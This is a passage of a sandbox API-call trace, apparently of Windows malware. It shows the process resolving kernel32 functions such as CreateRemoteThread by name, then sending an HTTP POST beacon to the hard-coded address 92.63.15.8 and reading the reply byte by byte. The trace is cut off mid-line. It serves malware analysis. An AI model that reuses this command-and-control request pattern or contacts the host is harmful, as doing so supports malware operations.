returned 11 [0108.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0108.838] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0108.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0108.838] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0108.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0108.839] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0108.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0108.839] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0108.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0108.839] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0108.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0108.839] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0108.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0108.839] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0108.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0108.839] lstrlenA (lpString="CREATEJOBSET") returned 12 [0108.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0108.839] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0108.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0108.839] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0108.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0108.839] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0108.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0108.839] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0108.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0108.839] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0108.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0108.839] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0108.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0108.839] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0108.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0108.839] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0108.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0108.839] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0108.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0108.839] lstrlenA (lpString="CREATEPIPE") returned 10 [0108.839] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0108.840] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0108.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0108.840] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0108.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0108.840] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0108.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0108.840] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0108.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0108.840] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0108.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0108.840] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0108.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0108.840] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0108.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0108.840] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0108.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0108.840] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0108.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0108.840] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0108.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0108.840] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0108.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0108.840] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0108.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0108.840] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0108.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0108.840] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0108.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0108.840] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0108.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0108.840] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0108.840] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0108.840] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0108.841] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0108.841] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0108.841] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0108.841] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0108.841] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0108.841] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0108.841] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0108.841] lstrlenA (lpString="CREATETHREAD") returned 12 [0108.841] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0108.841] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0108.841] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0108.841] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0108.841] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0108.841] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0108.841] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0108.841] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0108.841] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0108.841] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0108.841] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0108.841] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0108.841] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0108.842] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0108.842] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0108.842] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0108.843] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0108.843] wsprintfA (in: param_1=0x3b70000, param_2="POST /%s HTTP/1.1\r\nUser-Agent: %s\r\nHost: %s\r\nContent-Type: %s\r\nContent-Length: %d\r\nConnection: Keep-Alive\r\n\r\n" | out: param_1="POST /dxwulub.jspx?mtt=80138h HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko\r\nHost: 92.63.15.8\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 221\r\nConnection: Keep-Alive\r\n\r\n") returned 240 [0108.843] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0108.843] send (s=0x544, buf=0x3b70000*, len=461, flags=0) returned 461 [0108.844] shutdown (s=0x544, how=1) returned 0 [0108.845] recv (in: s=0x544, buf=0x2e7f828, len=1, flags=0 | out: buf=0x2e7f828*) returned 1 [0108.917] recv (in: s=0x544, buf=0x2e7f829, len=1, flags=0 | out: buf=0x2e7f829*) returned 1 [0108.917] recv (in: s=0x544, buf=0x2e7f82a, len=1, flags=0 | out: buf=0x2e7f82a*) returned 1 [0108.918] recv (in: s=0x544, buf=0x2e7f82b, len=1, flags=0 | out: buf=0x2e7f82b*) returned 1 [0108.918] recv (in: s=0x544, buf=0x2e7f82c, len=1, flags=0 | out: buf=0x2e7f82c*) returned 1 [0108.918] recv (in: s=0x544, buf=0x2e7f82d, len=1, flags=0 | out: buf=0x2e7f82d*) returned 1 [0108.918] recv (in: s=0x544, buf=0x2e7f82e, len=1, flags=0 | out: buf=0x2e7f82e*) returned 1 [0108.918] recv (in: s=0x544, buf=0x2e7f82f, len=1, flags=0 | out: buf=0x2e7f82f*) returned 1 [0108.918] recv (in: s=0x544, buf=0x2e7f830, len=1, flags=0 | out: buf=0x2e7f830*) returned 1 [0108.918] recv (in: s=0x544, buf=0x2e7f831, len=1, flags=0 | out: buf=0x2e7f831*) returned 1 [0108.918] recv (in: s=0x544, buf=0x2e7f832, len=1, flags=0 | out: buf=0x2e7f832*) returned 1 [0108.918] recv (in: s=0x544, buf=0x2e7f833, len=1, flags=0 | out: buf=0x2e7f833*) returned 1 [0108.918] recv (in: s=0x544, buf=0x2e7f834, len=1, flags=0 | out: buf=0x2e7f834*) returned 1 [0108.918] recv (in: s=0x544, buf=0x2e7f835, len=1, flags=0 | out: buf=0x2e7f835*) returned 1 [0108.918] recv (in: s=0x544, buf=0x2e7f836, len=1, flags=0 | out: buf=0x2e7f836*) returned 1 [0108.918] recv (in: s=0x544, buf=0x2e7f837, len=1, flags=0 | out: buf=0x2e7f837*) returned 1 [0108.918] recv (in: s=0x544, buf=0x2e7f838, len=1, flags=0 | out: buf=0x2e7f838*) returned 1 [0108.918] recv (in: s=0x544, buf=0x2e7f839, len=1, flags=0 | out: buf=0x2e7f839*) returned 1 [0108.919] recv (in: s=0x544, buf=0x2e7f83a, len=1, flags=0 | out: buf=0x2e7f83a*) returned 1 [0108.919] recv (in: s=0x544, buf=0x2e7f83b, len=1, flags=0 | out: buf=0x2e7f83b*) returned 1 [0108.919] recv (in: s=0x544, buf=0x2e7f83c, len=1, flags=0 | out: buf=0x2e7f83c*) returned 1 [0108.919] recv (in: s=0x544, buf=0x2e7f83d, len=1, flags=0 | out: buf=0x2e7f83d*) returned 1 [0108.919] recv (in: s=0x544, buf=0x2e7f83e, len=1, flags=0 | out: buf=0x2e7f83e*) returned 1 [0108.919] recv (in: s=0x544, buf=0x2e7f83f, len=1, flags=0 | out: buf=0x2e7f83f*) returned 1 [0108.919] recv (in: s=0x544, buf=0x2e7f840, len=1, flags=0 | out: buf=0x2e7f840*) returned 1 [0108.919] recv (in: s=0x544, buf=0x2e7f841, len=1, flags=0 | out: buf=0x2e7f841*) returned 1 [0108.919] recv (in: s=0x544, buf=0x2e7f842, len=1, flags=0 | out: buf=0x2e7f842*) returned 1 [0108.919] recv (in: s=0x544, buf=0x2e7f843, len=1, flags=0 | out: buf=0x2e7f843*) returned 1 [0108.919] recv (in: s=0x544, buf=0x2e7f844, len=1, flags=0 | out: buf=0x2e7f844*) returned 1 [0108.919] recv (in: s=0x544, buf=0x2e7f845, len=1, flags=0 | out: buf=0x2e7f845*) returned 1 [0108.919] recv (in: s=0x544, buf=0x2e7f846, len=1, flags=0 | out: buf=0x2e7f846*) returned 1 [0108.919] recv (in: s=0x544, buf=0x2e7f847, len=1, flags=0 | out: buf=0x2e7f847*) returned 1 [0108.919] recv (in: s=0x544, buf=0x2e7f848, len=1, flags=0 | out: buf=0x2e7f848*) returned 1 [0108.919] recv (in: s=0x544, buf=0x2e7f849, len=1, flags=0 | out: buf=0x2e7f849*) returned 1 [0108.919] recv (in: s=0x544, buf=0x2e7f84a, len=1, flags=0 | out: buf=0x2e7f84a*) returned 1 [0108.919] recv (in: s=0x544, buf=0x2e7f84b, len=1, flags=0 | out: buf=0x2e7f84b*) returned 1 [0108.920] recv (in: s=0x544, buf=0x2e7f84c, len=1, flags=0 | out: buf=0x2e7f84c*) returned 1 [0108.920] recv (in: s=0x544, buf=0x2e7f84d, len=1, flags=0 | out: buf=0x2e7f84d*) returned 1 [0108.920] recv (in: s=0x544, buf=0x2e7f84e, len=1, flags=0 | out: buf=0x2e7f84e*) returned 1 [0108.920] recv (in: s=0x544, buf=0x2e7f84f, len=1, flags=0 | out: buf=0x2e7f84f*) returned 1 [0108.920] recv (in: s=0x544, buf=0x2e7f850, len=1, flags=0 | out: buf=0x2e7f850*) returned 1 [0108.920] recv (in: s=0x544, buf=0x2e7f851, len=1, flags=0 | out: buf=0x2e7f851*) returned 1 [0108.920] recv (in: s=0x544, buf=0x2e7f852, len=1, flags=0 | out: buf=0x2e7f852*) returned 1 [0108.920] recv (in: s=0x544, buf=0x2e7f853, len=1, flags=0 | out: buf=0x2e7f853*) returned 1 [0108.920] recv (in: s=0x544, buf=0x2e7f854, len=1, flags=0 | out: buf=0x2e7f854*) returned 1 [0108.920] recv (in: s=0x544, buf=0x2e7f855, len=1, flags=0 | out: buf=0x2e7f855*) returned 1 [0108.920] recv (in: s=0x544, buf=0x2e7f856, len=1, flags=0 | out: buf=0x2e7f856*) returned 1 [0108.920] recv (in: s=0x544, buf=0x2e7f857, len=1, flags=0 | out: buf=0x2e7f857*) returned 1 [0108.920] recv (in: s=0x544, buf=0x2e7f858, len=1, flags=0 | out: buf=0x2e7f858*) returned 1 [0108.920] recv (in: s=0x544, buf=0x2e7f859, len=1, flags=0 | out: buf=0x2e7f859*) returned 1 [0108.920] recv (in: s=0x544, buf=0x2e7f85a, len=1, flags=0 | out: buf=0x2e7f85a*) returned 1 [0108.920] recv (in: s=0x544, buf=0x2e7f85b, len=1, flags=0 | out: buf=0x2e7f85b*) returned 1 [0108.920] recv (in: s=0x544, buf=0x2e7f85c, len=1, flags=0 | out: buf=0x2e7f85c*) returned 1 [0108.920] recv (in: s=0x544, buf=0x2e7f85d, len=1, flags=0 | out: buf=0x2e7f85d*) returned 1 [0108.920] recv (in: s=0x544, buf=0x2e7f85e, len=1, flags=0 | out: buf=0x2e7f85e*) returned 1 [0108.921] recv (in: s=0x544, buf=0x2e7f85f, len=1, flags=0 | out: buf=0x2e7f85f*) returned 1 [0108.921] recv (in: s=0x544, buf=0x2e7f860, len=1, flags=0 | out: buf=0x2e7f860*) returned 1 [0108.921] recv (in: s=0x544, buf=0x2e7f861, len=1, flags=0 | out: buf=0x2e7f861*) returned 1 [0108.921] recv (in: s=0x544, buf=0x2e7f862, len=1, flags=0 | out: buf=0x2e7f862*) returned 1 [0108.921] recv (in: s=0x544, buf=0x2e7f863, len=1, flags=0 | out: buf=0x2e7f863*) returned 1 [0108.921] recv (in: s=0x544, buf=0x2e7f864, len=1, flags=0 | out: buf=0x2e7f864*) returned 1 [0108.921] recv (in: s=0x544, buf=0x2e7f865, len=1, flags=0 | out: buf=0x2e7f865*) returned 1 [0108.921] recv (in: s=0x544, buf=0x2e7f866, len=1, flags=0 | out: buf=0x2e7f866*) returned 1 [0108.921] recv (in: s=0x544, buf=0x2e7f867, len=1, flags=0 | out: buf=0x2e7f867*) returned 1 [0108.921] recv (in: s=0x544, buf=0x2e7f868, len=1, flags=0 | out: buf=0x2e7f868*) returned 1 [0108.921] recv (in: s=0x544, buf=0x2e7f869, len=1, flags=0 | out: buf=0x2e7f869*) returned 1 [0108.921] recv (in: s=0x544, buf=0x2e7f86a, len=1, flags=0 | out: buf=0x2e7f86a*) returned 1 [0108.921] recv (in: s=0x544, buf=0x2e7f86b, len=1, flags=0 | out: buf=0x2e7f86b*) returned 1 [0108.921] recv (in: s=0x544, buf=0x2e7f86c, len=1, flags=0 | out: buf=0x2e7f86c*) returned 1 [0108.921] recv (in: s=0x544, buf=0x2e7f86d, len=1, flags=0 | out: buf=0x2e7f86d*) returned 1 [0108.921] recv (in: s=0x544, buf=0x2e7f86e, len=1, flags=0 | out: buf=0x2e7f86e*) returned 1 [0108.921] recv (in: s=0x544, buf=0x2e7f86f, len=1, flags=0 | out: buf=0x2e7f86f*) returned 1 [0108.921] recv (in: s=0x544, buf=0x2e7f870, len=1, flags=0 | out: buf=0x2e7f870*) returned 1 [0108.921] recv (in: s=0x544, buf=0x2e7f871, len=1, flags=0 | out: buf=0x2e7f871*) returned 1 [0108.922] recv (in: s=0x544, buf=0x2e7f872, len=1, flags=0 | out: buf=0x2e7f872*) returned 1 [0108.922] recv (in: s=0x544, buf=0x2e7f873, len=1, flags=0 | out: buf=0x2e7f873*) returned 1 [0108.922] recv (in: s=0x544, buf=0x2e7f874, len=1, flags=0 | out: buf=0x2e7f874*) returned 1 [0108.922] recv (in: s=0x544, buf=0x2e7f875, len=1, flags=0 | out: buf=0x2e7f875*) returned 1 [0108.922] recv (in: s=0x544, buf=0x2e7f876, len=1, flags=0 | out: buf=0x2e7f876*) returned 1 [0108.922] recv (in: s=0x544, buf=0x2e7f877, len=1, flags=0 | out: buf=0x2e7f877*) returned 1 [0108.922] recv (in: s=0x544, buf=0x2e7f878, len=1, flags=0 | out: buf=0x2e7f878*) returned 1 [0108.922] recv (in: s=0x544, buf=0x2e7f879, len=1, flags=0 | out: buf=0x2e7f879*) returned 1 [0108.922] recv (in: s=0x544, buf=0x2e7f87a, len=1, flags=0 | out: buf=0x2e7f87a*) returned 1 [0108.923] recv (in: s=0x544, buf=0x2e7f87b, len=1, flags=0 | out: buf=0x2e7f87b*) returned 1 [0108.923] recv (in: s=0x544, buf=0x2e7f87c, len=1, flags=0 | out: buf=0x2e7f87c*) returned 1 [0108.923] recv (in: s=0x544, buf=0x2e7f87d, len=1, flags=0 | out: buf=0x2e7f87d*) returned 1 [0108.923] recv (in: s=0x544, buf=0x2e7f87e, len=1, flags=0 | out: buf=0x2e7f87e*) returned 1 [0108.923] recv (in: s=0x544, buf=0x2e7f87f, len=1, flags=0 | out: buf=0x2e7f87f*) returned 1 [0108.923] recv (in: s=0x544, buf=0x2e7f880, len=1, flags=0 | out: buf=0x2e7f880*) returned 1 [0108.923] recv (in: s=0x544, buf=0x2e7f881, len=1, flags=0 | out: buf=0x2e7f881*) returned 1 [0108.923] recv (in: s=0x544, buf=0x2e7f882, len=1, flags=0 | out: buf=0x2e7f882*) returned 1 [0108.923] recv (in: s=0x544, buf=0x2e7f883, len=1, flags=0 | out: buf=0x2e7f883*) returned 1 [0108.923] recv (in: s=0x544, buf=0x2e7f884, len=1, flags=0 | out: buf=0x2e7f884*) returned 1 [0108.923] recv (in: s=0x544, buf=0x2e7f885, len=1, flags=0 | out: buf=0x2e7f885*) returned 1 [0108.923] recv (in: s=0x544, buf=0x2e7f886, len=1, flags=0 | out: buf=0x2e7f886*) returned 1 [0108.923] recv (in: s=0x544, buf=0x2e7f887, len=1, flags=0 | out: buf=0x2e7f887*) returned 1 [0108.923] recv (in: s=0x544, buf=0x2e7f888, len=1, flags=0 | out: buf=0x2e7f888*) returned 1 [0108.923] recv (in: s=0x544, buf=0x2e7f889, len=1, flags=0 | out: buf=0x2e7f889*) returned 1 [0108.923] recv (in: s=0x544, buf=0x2e7f88a, len=1, flags=0 | out: buf=0x2e7f88a*) returned 1 [0108.923] recv (in: s=0x544, buf=0x2e7f88b, len=1, flags=0 | out: buf=0x2e7f88b*) returned 1 [0108.923] recv (in: s=0x544, buf=0x2e7f88c, len=1, flags=0 | out: buf=0x2e7f88c*) returned 1 [0108.923] recv (in: s=0x544, buf=0x2e7f88d, len=1, flags=0 | out: buf=0x2e7f88d*) returned 1 [0108.924] recv (in: s=0x544, buf=0x2e7f88e, len=1, flags=0 | out: buf=0x2e7f88e*) returned 1 [0108.924] recv (in: s=0x544, buf=0x2e7f88f, len=1, flags=0 | out: buf=0x2e7f88f*) returned 1 [0108.924] recv (in: s=0x544, buf=0x2e7f890, len=1, flags=0 | out: buf=0x2e7f890*) returned 1 [0108.924] recv (in: s=0x544, buf=0x2e7f891, len=1, flags=0 | out: buf=0x2e7f891*) returned 1 [0108.924] recv (in: s=0x544, buf=0x2e7f892, len=1, flags=0 | out: buf=0x2e7f892*) returned 1 [0108.924] recv (in: s=0x544, buf=0x2e7f893, len=1, flags=0 | out: buf=0x2e7f893*) returned 1 [0108.924] recv (in: s=0x544, buf=0x2e7f894, len=1, flags=0 | out: buf=0x2e7f894*) returned 1 [0108.924] recv (in: s=0x544, buf=0x2e7f895, len=1, flags=0 | out: buf=0x2e7f895*) returned 1 [0108.924] recv (in: s=0x544, buf=0x2e7f896, len=1, flags=0 | out: buf=0x2e7f896*) returned 1 [0108.924] recv (in: s=0x544, buf=0x2e7f897, len=1, flags=0 | out: buf=0x2e7f897*) returned 1 [0108.924] recv (in: s=0x544, buf=0x2e7f898, len=1, flags=0 | out: buf=0x2e7f898*) returned 1 [0108.924] recv (in: s=0x544, buf=0x2e7f899, len=1, flags=0 | out: buf=0x2e7f899*) returned 1 [0108.924] recv (in: s=0x544, buf=0x2e7f89a, len=1, flags=0 | out: buf=0x2e7f89a*) returned 1 [0108.924] recv (in: s=0x544, buf=0x2e7f89b, len=1, flags=0 | out: buf=0x2e7f89b*) returned 1 [0108.924] recv (in: s=0x544, buf=0x2e7f89c, len=1, flags=0 | out: buf=0x2e7f89c*) returned 1 [0108.924] recv (in: s=0x544, buf=0x2e7f89d, len=1, flags=0 | out: buf=0x2e7f89d*) returned 1 [0108.924] recv (in: s=0x544, buf=0x2e7f89e, len=1, flags=0 | out: buf=0x2e7f89e*) returned 1 [0108.924] recv (in: s=0x544, buf=0x2e7f89f, len=1, flags=0 | out: buf=0x2e7f89f*) returned 1 [0108.925] recv (in: s=0x544, buf=0x2e7f8a0, len=1, flags=0 | out: buf=0x2e7f8a0*) returned 1 [0108.925] recv (in: s=0x544, buf=0x2e7f8a1, len=1, flags=0 | out: buf=0x2e7f8a1*) returned 1 [0108.925] recv (in: s=0x544, buf=0x2e7f8a2, len=1, flags=0 | out: buf=0x2e7f8a2*) returned 1 [0108.925] recv (in: s=0x544, buf=0x2e7f8a3, len=1, flags=0 | out: buf=0x2e7f8a3*) returned 1 [0108.925] recv (in: s=0x544, buf=0x2e7f8a4, len=1, flags=0 | out: buf=0x2e7f8a4*) returned 1 [0108.925] recv (in: s=0x544, buf=0x2e7f8a5, len=1, flags=0 | out: buf=0x2e7f8a5*) returned 1 [0108.925] recv (in: s=0x544, buf=0x2e7f8a6, len=1, flags=0 | out: buf=0x2e7f8a6*) returned 1 [0108.925] recv (in: s=0x544, buf=0x2e7f8a7, len=1, flags=0 | out: buf=0x2e7f8a7*) returned 1 [0108.925] recv (in: s=0x544, buf=0x2e7f8a8, len=1, flags=0 | out: buf=0x2e7f8a8*) returned 1 [0108.925] recv (in: s=0x544, buf=0x2e7f8a9, len=1, flags=0 | out: buf=0x2e7f8a9*) returned 1 [0108.925] recv (in: s=0x544, buf=0x2e7f8aa, len=1, flags=0 | out: buf=0x2e7f8aa*) returned 1 [0108.925] recv (in: s=0x544, buf=0x2e7f8ab, len=1, flags=0 | out: buf=0x2e7f8ab*) returned 1 [0108.925] recv (in: s=0x544, buf=0x2e7f8ac, len=1, flags=0 | out: buf=0x2e7f8ac*) returned 1 [0108.925] recv (in: s=0x544, buf=0x2e7f8ad, len=1, flags=0 | out: buf=0x2e7f8ad*) returned 1 [0108.925] recv (in: s=0x544, buf=0x2e7f8ae, len=1, flags=0 | out: buf=0x2e7f8ae*) returned 1 [0108.925] recv (in: s=0x544, buf=0x2e7f8af, len=1, flags=0 | out: buf=0x2e7f8af*) returned 1 [0108.925] recv (in: s=0x544, buf=0x2e7f8b0, len=1, flags=0 | out: buf=0x2e7f8b0*) returned 1 [0108.926] recv (in: s=0x544, buf=0x2e7f8b1, len=1, flags=0 | out: buf=0x2e7f8b1*) returned 1 [0108.926] recv (in: s=0x544, buf=0x2e7f8b2, len=1, flags=0 | out: buf=0x2e7f8b2*) returned 1 [0108.926] recv (in: s=0x544, buf=0x2e7f8b3, len=1, flags=0 | out: buf=0x2e7f8b3*) returned 1 [0108.926] recv (in: s=0x544, buf=0x2e7f8b4, len=1, flags=0 | out: buf=0x2e7f8b4*) returned 1 [0108.926] recv (in: s=0x544, buf=0x2e7f8b5, len=1, flags=0 | out: buf=0x2e7f8b5*) returned 1 [0108.926] recv (in: s=0x544, buf=0x2e7f8b6, len=1, flags=0 | out: buf=0x2e7f8b6*) returned 1 [0108.926] recv (in: s=0x544, buf=0x2e7f8b7, len=1, flags=0 | out: buf=0x2e7f8b7*) returned 1 [0108.926] recv (in: s=0x544, buf=0x2e7f8b8, len=1, flags=0 | out: buf=0x2e7f8b8*) returned 1 [0108.926] recv (in: s=0x544, buf=0x2e7f8b9, len=1, flags=0 | out: buf=0x2e7f8b9*) returned 1 [0108.926] recv (in: s=0x544, buf=0x2e7f8ba, len=1, flags=0 | out: buf=0x2e7f8ba*) returned 1 [0108.926] recv (in: s=0x544, buf=0x2e7f8bb, len=1, flags=0 | out: buf=0x2e7f8bb*) returned 1 [0108.926] recv (in: s=0x544, buf=0x2e7f8bc, len=1, flags=0 | out: buf=0x2e7f8bc*) returned 1 [0108.926] recv (in: s=0x544, buf=0x2e7f8bd, len=1, flags=0 | out: buf=0x2e7f8bd*) returned 1 [0108.926] recv (in: s=0x544, buf=0x2e7f8be, len=1, flags=0 | out: buf=0x2e7f8be*) returned 1 [0108.926] recv (in: s=0x544, buf=0x2e7f8bf, len=1, flags=0 | out: buf=0x2e7f8bf*) returned 1 [0108.926] recv (in: s=0x544, buf=0x2e7f8c0, len=1, flags=0 | out: buf=0x2e7f8c0*) returned 1 [0108.926] recv (in: s=0x544, buf=0x2e7f8c1, len=1, flags=0 | out: buf=0x2e7f8c1*) returned 1 [0108.926] recv (in: s=0x544, buf=0x2e7f8c2, len=1, flags=0 | out: buf=0x2e7f8c2*) returned 1 [0108.926] recv (in: s=0x544, 